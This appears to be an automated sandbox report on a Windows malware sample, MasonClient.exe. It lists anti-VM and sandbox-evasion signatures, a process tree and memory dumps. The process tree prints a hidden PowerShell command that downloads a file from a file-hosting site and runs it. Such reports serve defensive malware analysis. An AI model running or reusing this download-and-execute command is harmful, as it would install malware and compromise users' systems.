Analysis
- max time kernel
149s - max time network
151s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
- submitted
30/06/2026, 03:59
General
- Target MasonClient.exe
- Size 310KB
- Sample260630-ej8xesd19y
- SHA256 068d60132aa87ea77fa6b1b9c1b12bc25d1a6dc4bd8c0516f516e928e560564d
Malware Config
Signatures
- Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Looks for VMWare Tools registry key 2 TTPs 1 IoCs
- Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 52 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Maps connected drives based on registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/8ruqew.rar' -OutFile $env:TEMP\MasonKit.com; Start-Process -WindowStyle Hidden $env:TEMP\MasonKit.com"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
__PSScriptPolicyTest_twgwi1jq.ueo.ps1
memory/492-0-0x0000000000BC0000-0x0000000000C14000-memory.dmp
memory/492-1-0x0000000002D40000-0x0000000002D50000-memory.dmp
memory/492-2-0x0000000002D00000-0x0000000002D08000-memory.dmp
memory/492-13-0x0000000002D40000-0x0000000002D50000-memory.dmp
memory/4240-4-0x0000026DEAC60000-0x0000026DEAC70000-memory.dmp
memory/4240-3-0x0000026DEAC60000-0x0000026DEAC70000-memory.dmp
memory/4240-11-0x0000026DEE140000-0x0000026DEE162000-memory.dmp
memory/4240-12-0x0000026DEAC60000-0x0000026DEAC70000-memory.dmp
memory/4240-14-0x0000026DEAC60000-0x0000026DEAC70000-memory.dmp
memory/4240-15-0x0000026DEAC60000-0x0000026DEAC70000-memory.dmp
memory/4240-16-0x0000026DEAC60000-0x0000026DEAC70000-memory.dmp